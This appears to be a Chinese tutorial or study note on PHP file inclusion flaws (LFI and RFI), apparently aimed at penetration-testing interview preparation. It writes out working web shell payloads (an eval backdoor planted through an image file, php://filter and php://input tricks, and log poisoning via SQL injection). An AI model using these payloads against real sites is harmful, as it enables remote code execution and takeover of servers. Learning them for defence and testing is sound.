文件包含

  开发人员通常把可重复使用的函数单独写在一个文件,在使用某函数时直接调用此文件,这就是文件包含

  通常会把包含的文件设置为变量来进行动态调用,导致客户端可以调用任意文件,造成文件包含漏洞

 

函数

  php中有四个文件包含的函数,include,include_once,require,require_once

  函数          区别

  include()          文件包含失败时会产生警告,脚本继续运行

  include_onece()      与include()功能相同,文件只会被包含一次

  require()        文件包含失败时产生错误,直接结束脚本执行

  require_once()      与require()功能相同,文件只会被包含一次

  

相关配置

  文件包含是php的基本功能之一,分为本地文件包含和远程文件包含,通过php.ini来配置

  allow_url_fopen=On/Off (本地文件包含)

  allow_url_include=On/Off  (远程文件包含)

 

  本地文件包含(LFI)

    本地文件包含就是可以通过相对路径的方式找到文件并且包含它。

  远程文件包含(RFI)

    远程文件包含就是我们可以通过http或者ftp等方式远程包含文件

 

漏洞特点

  PHP提供的文件包含功能非常强大,有以下特点

  1.无视文件拓展名读取文件

    包含文件时,php会读取文件的源码,包括图片文件。包含文件时包含的是文件的源码。

  2.无条件解析php代码

    文件包含在读取文件源码的时候,如果遇到符合php语法规范的代码就会无条件执行。包含图片马的时候也会当作php解析。

 

文件包含漏洞利用

  读取敏感文件:

    条件:1.目标主机文件存在;2.具有文件可读权限

  直接包含图片木马:

    利用文件包含漏洞直接包含图片木马,然后用蚁剑进行连接

  包含木马写shell:

    将如下代码写入图片中,<?php fputs(fopen('shell.php','w'),"<?php @eval(\$_REQUEST['cmd']); ?>"); ?>

    这段代码的含义是在当前目录下创建一个名为shell.php的文件,内容为<?php @eval(\$_REQUEST['cmd']); ?>,当我们包含图片时,代码就会被执行

  

  利用php伪协议传输php文件

    ?path=php://filter/read=convert.base64-encode/resource=index.php,解码后就是index.php的源代码

  利用php伪协议执行php代码

    ?path=php://input  然后用post写入想要执行的代码

  

面试:存在本地文件包含漏洞,但没有文件上传API,怎么利用

思路:把shell写入日志文件,文件包含日志文件getshell。比如找到一个可以sql注入的地方,执行select "<?php @eval($_POST['shell']);?>",找到日志文件地址后包含日志文件

【精选】【文件包含漏洞-04】经典面试题:已知某网站仅存在本地文件包含漏洞时,如何GetShell?_本地文件包含怎么getshell-CSDN博客